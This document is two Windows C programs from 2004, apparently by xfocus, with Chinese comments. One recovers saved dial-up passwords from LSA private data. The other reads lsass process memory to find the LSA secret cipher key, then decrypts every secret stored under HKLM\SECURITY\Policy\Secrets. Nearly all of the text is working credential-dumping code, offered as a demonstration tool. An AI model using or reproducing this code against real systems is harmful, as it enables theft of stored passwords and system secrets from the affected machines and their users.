/* 演示还原NT平台上拨号连接的密码 可运行于windows 2000/xp/2003 原理基于分析dialupass v2.42
eyas at xfocus.org http://www.xfocus.net 2004-10-01
FileName: x_dialupass.c */ #define WINVER 0x500 #define _WIN32_WINNT 0x0500 #include <windows.h> #include <stdio.h>
#include <ras.h> #include <raserror.h> #include <Ntsecapi.h> #include <Userenv.h> #include <Sddl.h>
#pragma comment(lib,"Rasapi32.lib") #pragma comment(lib,"advapi32.lib") #pragma comment(lib,"UserEnv.lib")
unsigned char private_data[0x500]; int data_len;
unsigned char * get_real_pass(unsigned char *user, DWORD dwDialParamsUID) { int i, j; unsigned char *p, szDialParamsUID[52], *pass=NULL;
_snprintf(szDialParamsUID, sizeof(szDialParamsUID), "%d", dwDialParamsUID);
p = private_data;
for(i=0;i<data_len;i++) { if(strcmp(&p[i], szDialParamsUID) == 0 ) { for(j=i;j<data_len;j++) { if(strcmp(&p[j], user) == 0 ) { pass = p + j + strlen(user) + 1; break; } } break; } }
return pass; }
void main() { LPRASENTRYNAME lpRasEntryName; LPRASDIALPARAMS lpRasDialParams; DWORD cb, nRet, i, cEntries; BOOL b; char szPhoneBook1[512], szPhoneBook2[512], szUserName[128], szDomainName[128]; DWORD dwSize, dwDialParamsUID, dwTmp; PSID pSid = NULL; SID_NAME_USE peUse;
LSA_OBJECT_ATTRIBUTES lsa_object_attr; LSA_HANDLE lsa_handle; PLSA_UNICODE_STRING plsa_private_data; LSA_UNICODE_STRING lsa_keyname; NTSTATUS status; int ret; unsigned char *pass; WCHAR *sid;
printf("dialup password recover tool for win 2k/xp/2003\n" "code by eyas at xfocus.org\n" "http://www.xfocus.net\n" "2004-10-01\n\n");
//get current user's string sid
dwSize = sizeof(szUserName); GetUserName(szUserName, &dwSize); dwSize = 0; dwTmp = sizeof(szDomainName); LookupAccountName(NULL, szUserName, pSid, &dwSize, szDomainName, &dwTmp, &peUse); if(!dwSize) { printf("[-] LookupAccountName failed.\n"); return; } pSid = (PSID)malloc(dwSize); LookupAccountName(NULL, szUserName, pSid, &dwSize, szDomainName, &dwTmp, &peUse); ConvertSidToStringSidW(pSid, &sid);
memset(&lsa_object_attr, 0, sizeof(lsa_object_attr)); lsa_object_attr.Length = sizeof(LSA_OBJECT_ATTRIBUTES); LsaOpenPolicy(0, &lsa_object_attr, 0x800, &lsa_handle);
plsa_private_data = (PLSA_UNICODE_STRING)malloc(sizeof(LSA_UNICODE_STRING)); plsa_private_data->Length = 0x500; plsa_private_data->MaximumLength = 0x500; plsa_private_data->Buffer = (PWSTR)malloc(0x500);
lsa_keyname.MaximumLength = 0x200; lsa_keyname.Buffer = (PWSTR)malloc(0x200); wcscpy(lsa_keyname.Buffer,L"RasDialParams!"); wcscat(lsa_keyname.Buffer, sid); wcscat(lsa_keyname.Buffer, L"#0"); lsa_keyname.Length = wcslen(lsa_keyname.Buffer) * 2;
//get current user's dialup info
status = LsaRetrievePrivateData(lsa_handle, &lsa_keyname, &plsa_private_data); LsaClose(lsa_handle); if(status != 0) { printf("[-] LsaRetrievePrivateData failed: %d\n", LsaNtStatusToWinError(status)); return; } ret = WideCharToMultiByte(0, 0, plsa_private_data->Buffer, plsa_private_data->Length, private_data, sizeof(private_data), 0, 0); if(ret == 0) { printf("[-] WideCharToMultiByte failed:%d\n", GetLastError()); return; } data_len = ret;
//get phone book name
GetEnvironmentVariable("ALLUSERSPROFILE", szPhoneBook1, sizeof(szPhoneBook1)-200); GetEnvironmentVariable("USERPROFILE", szPhoneBook2, sizeof(szPhoneBook2)-200); strcat(szPhoneBook1, "\\Application Data\\Microsoft\\Network" "\\Connections\\pbk\\rasphone.pbk"); strcat(szPhoneBook2, "\\Application Data\\Microsoft\\Network" "\\Connections\\pbk\\rasphone.pbk");
lpRasEntryName = (LPRASENTRYNAME)GlobalAlloc(GPTR, sizeof(RASENTRYNAME)); lpRasEntryName->dwSize = sizeof(RASENTRYNAME); cb = sizeof(RASENTRYNAME); if ((nRet = RasEnumEntries(NULL, NULL, lpRasEntryName, &cb, &cEntries)) == ERROR_BUFFER_TOO_SMALL) { lpRasEntryName = (LPRASENTRYNAME)GlobalAlloc(GPTR, cb); lpRasEntryName->dwSize = sizeof(RASENTRYNAME); }
// Calling RasEnumEntries to enumerate the phone-book entries
nRet = RasEnumEntries(NULL, NULL, lpRasEntryName, &cb, &cEntries);
if (nRet != ERROR_SUCCESS) { printf("[-] RasEnumEntries failed: Error %d\n", nRet); return; }
for(i=0;i < cEntries;i++) { lpRasDialParams = malloc(sizeof(RASDIALPARAMS)); strcpy(lpRasDialParams->szEntryName, lpRasEntryName->szEntryName); lpRasDialParams->dwSize = sizeof(RASDIALPARAMS);
RasGetEntryDialParams(0, lpRasDialParams, &b);
dwDialParamsUID = GetPrivateProfileInt(lpRasEntryName->szEntryName, "DialParamsUID", 0, szPhoneBook1); if(dwDialParamsUID == 0) { dwDialParamsUID = GetPrivateProfileInt(lpRasEntryName->szEntryName, "DialParamsUID", 0, szPhoneBook2); if(dwDialParamsUID == 0) { printf("[-] Can't get DialParamsUID from PhoneBook.\n"); return; } }
pass = get_real_pass(lpRasDialParams->szUserName, dwDialParamsUID);
printf( "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n" "EntryName : %s\n" "UserName : %s\n" "PassWord : %s\n\n", lpRasEntryName->szEntryName, lpRasDialParams->szUserName, pass);
free(lpRasDialParams); lpRasEntryName++; } }
-=-=-=-=-=-=-=-=-=-= code end -=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-= x_dialupass2.cpp -=-=-=-=-=-=-=-=-=-= /* 演示还原NT平台拨号连接密码
原理:直接从注册表中读取加密后的数据,解密之。
可运行于windows 2000/xp/2003平台,必须有权限读取注册表 "HKLM\SECURITY"。
eyas at xfocus.org http://www.xfocus.net 2004-10-01 */ #include <Windows.h> #include <stdio.h> #include <Psapi.h> #pragma comment(lib, "Advapi32.lib") #pragma comment(lib, "psapi.lib")
//抄袭tombkeeper的代码:)
#define FCHK(a) if (!(a)) {printf(#a " failed %d\n", GetLastError()); return 0;}
typedef struct _LSA_BLOB { DWORD cbData; DWORD cbMaxData; BYTE* pbData; } LSA_BLOB;
typedef int (WINAPI *PSystemFunction005)( LSA_BLOB* pDataIn, LSA_BLOB* pDataKey, LSA_BLOB* pDataOut );
PSystemFunction005 SystemFunction005; DWORD dwFlag=0;
//来自lsadump2中的dumplsa.c
int myisprint (int ch) { return ((ch >= ' ') && (ch <= '~')); } //来自lsadump2中的dumplsa.c
void dump_bytes (unsigned char *p, size_t sz) { char szDumpBuff[256];
if(sz==0) return;
while (sz > 16) { _snprintf (szDumpBuff, sizeof (szDumpBuff), " %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n", p[0], p[1], p[2], p[3], p[4], p[5], p[6], p[7], p[8], p[9], p[10], p[11], p[12], p[13], p[14], p[15], myisprint(p[0]) ? p[0] : '.', myisprint(p[1]) ? p[1] : '.', myisprint(p[2]) ? p[2] : '.', myisprint(p[3]) ? p[3] : '.', myisprint(p[4]) ? p[4] : '.', myisprint(p[5]) ? p[5] : '.', myisprint(p[6]) ? p[6] : '.', myisprint(p[7]) ? p[7] : '.', myisprint(p[8]) ? p[8] : '.', myisprint(p[9]) ? p[9] : '.', myisprint(p[10]) ? p[10] : '.', myisprint(p[11]) ? p[11] : '.', myisprint(p[12]) ? p[12] : '.', myisprint(p[13]) ? p[13] : '.', myisprint(p[14]) ? p[14] : '.', myisprint(p[15]) ? p[15] : '.'); printf ("%s", szDumpBuff); p+=16; sz -= 16; }
if (sz) { char buf[17]; int i = 0; int j = 16 - sz; memset (buf, 0, sizeof (buf)); szDumpBuff[0] = 0; while (sz--) { _snprintf (szDumpBuff+strlen (szDumpBuff), sizeof (szDumpBuff) - strlen (szDumpBuff), " %02X", *p); if (myisprint (*p)) buf[i++] = *p; else buf[i++] = '.'; p++; } _snprintf (szDumpBuff+strlen (szDumpBuff), sizeof (szDumpBuff)-strlen (szDumpBuff), "%*s%s\n", j*3 + 2, "", buf); printf ("%s", szDumpBuff); } }
DWORD search_LsapDbSecretCipherKey(BYTE **ppKey, DWORD pid) { HANDLE hLsass, hLsasrv; DWORD dwRead, i, dwAddr; BYTE *pImage = NULL; MODULEINFO mod; BOOL bRet = FALSE; DWORD dwCount = 0, dwMaxCount=100;
FCHK ( (hLsasrv = LoadLibrary("lsasrv.dll")) );
FCHK ( GetModuleInformation(GetCurrentProcess(), (HMODULE)hLsasrv, &mod, sizeof(mod)) );
FCHK ( hLsass = OpenProcess(PROCESS_VM_READ, FALSE, pid) );
pImage = (BYTE*)malloc(mod.SizeOfImage);
ReadProcessMemory(hLsass, (BYTE*)hLsasrv, pImage, mod.SizeOfImage-0x10, &dwRead);
*ppKey = (BYTE*)malloc(dwMaxCount*0x10); __try { for(i=0;i<mod.SizeOfImage;i++) { if( memcmp(&pImage[i], "\x10\x00\x00\x00\x10\x00\x00\x00", 8) == 0) { dwAddr = *(DWORD *)(&pImage[i+8]); if( ReadProcessMemory(hLsass, (LPCVOID)dwAddr, &(*ppKey[dwCount*0x10]), 0x10, &dwRead) ) { dwCount++; } } }//end of for
} __except(EXCEPTION_EXECUTE_HANDLER) { return dwCount; }
return dwCount; }
int main(int argc, char **argv) { int ret,i,j; HMODULE hAdvApi32; HKEY hKeySecrets; HKEY hKey; DWORD dwType; char Data[0x500] = {0}; BYTE *pKey; DWORD dwSize; LSA_BLOB LSADataIn; LSA_BLOB LSADataOut; LSA_BLOB LSADataKey; char szSecret[500]; char szSubKey[0x500]; DWORD dwErr, dwCount=0;
if(argc!=2) { printf("Usage: %s \n", argv[0]); return 0; }
FCHK ((hAdvApi32 = LoadLibrary("advapi32.dll"))); FCHK ((SystemFunction005 = (PSystemFunction005) GetProcAddress (hAdvApi32, "SystemFunction005")) != NULL); FCHK ((RegOpenKeyEx (HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\Secrets", 0, KEY_READ, &hKeySecrets) == ERROR_SUCCESS))
FCHK ( ( dwCount = search_LsapDbSecretCipherKey(&pKey, atoi(argv[1])) ) != 0 ); printf("Search \"LsapDbSecretCipherKey\" return: %d\n", dwCount);
for(j=0;j<dwCount;j++) { printf("LsapDbSecretCipherKey [%d]\n", j); dump_bytes(&pKey[j*0x10], 0x10);
LSADataKey.cbData = LSADataKey.cbMaxData = 0x10; LSADataKey.pbData = &pKey[j*0x10];
//search our target
for (i=0; TRUE; i++) { dwErr = RegEnumKeyA (hKeySecrets, i, szSecret, sizeof (szSecret)); if (dwErr != ERROR_SUCCESS) //
// No More Secrets
//
break;
printf("\n%s\n", szSecret); //open it
_snprintf(szSubKey, sizeof(szSubKey), "SECURITY\\Policy\\Secrets\\%s\\CurrVal", szSecret); if (ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szSubKey, 0, KEY_READ, &hKey ) != ERROR_SUCCESS ) continue;
dwSize = sizeof(Data); FCHK ((ret = RegQueryValueEx(hKey, "", NULL, &dwType, (LPBYTE)Data, &dwSize) == ERROR_SUCCESS ))
LSADataIn.pbData = (BYTE *)Data + 0xC; //密文从第0xC位开始
LSADataIn.cbData = dwSize-0xC; LSADataIn.cbMaxData = LSADataIn.cbData;
//dump_bytes(LSADataIn.pbData, LSADataIn.cbData);
LSADataOut.cbData = 0; LSADataOut.cbMaxData = 0; LSADataOut.pbData = NULL;
SystemFunction005(&LSADataIn, &LSADataKey, &LSADataOut); if (LSADataOut.cbData == 0) { printf("null\n"); continue; }
FCHK ((LSADataOut.pbData = (BYTE*)malloc(LSADataOut.cbData) ) != NULL); LSADataOut.cbMaxData = LSADataOut.cbData; SystemFunction005(&LSADataIn, &LSADataKey, &LSADataOut);
dump_bytes(LSADataOut.pbData, LSADataOut.cbData); free(LSADataOut.pbData); }//end of for
printf("Press any key to use next \"LsapDbSecretCipherKey\", or Ctrl+C to exit.\n"); getchar(); }
if(pKey) free(pKey); return 0; }
参考资源:
[1] http://
2003-06-24 by Cmeptb
[2] http://
2004-01-10 by ??
[3] http://homepage2.nifty.com/spw/software/rtrick/
2004-01-05 by ???
[4] SAM的散列存储加密解密算法以及SYSKEY的计算 http://www.xfocus.net/articles/200306/550.html
2003-06-04 by flashsky at xfocus.org
-=-=-=-=-=-=-=-=-=-= code end -=-=-=-=-=-=-=-=-=-=
|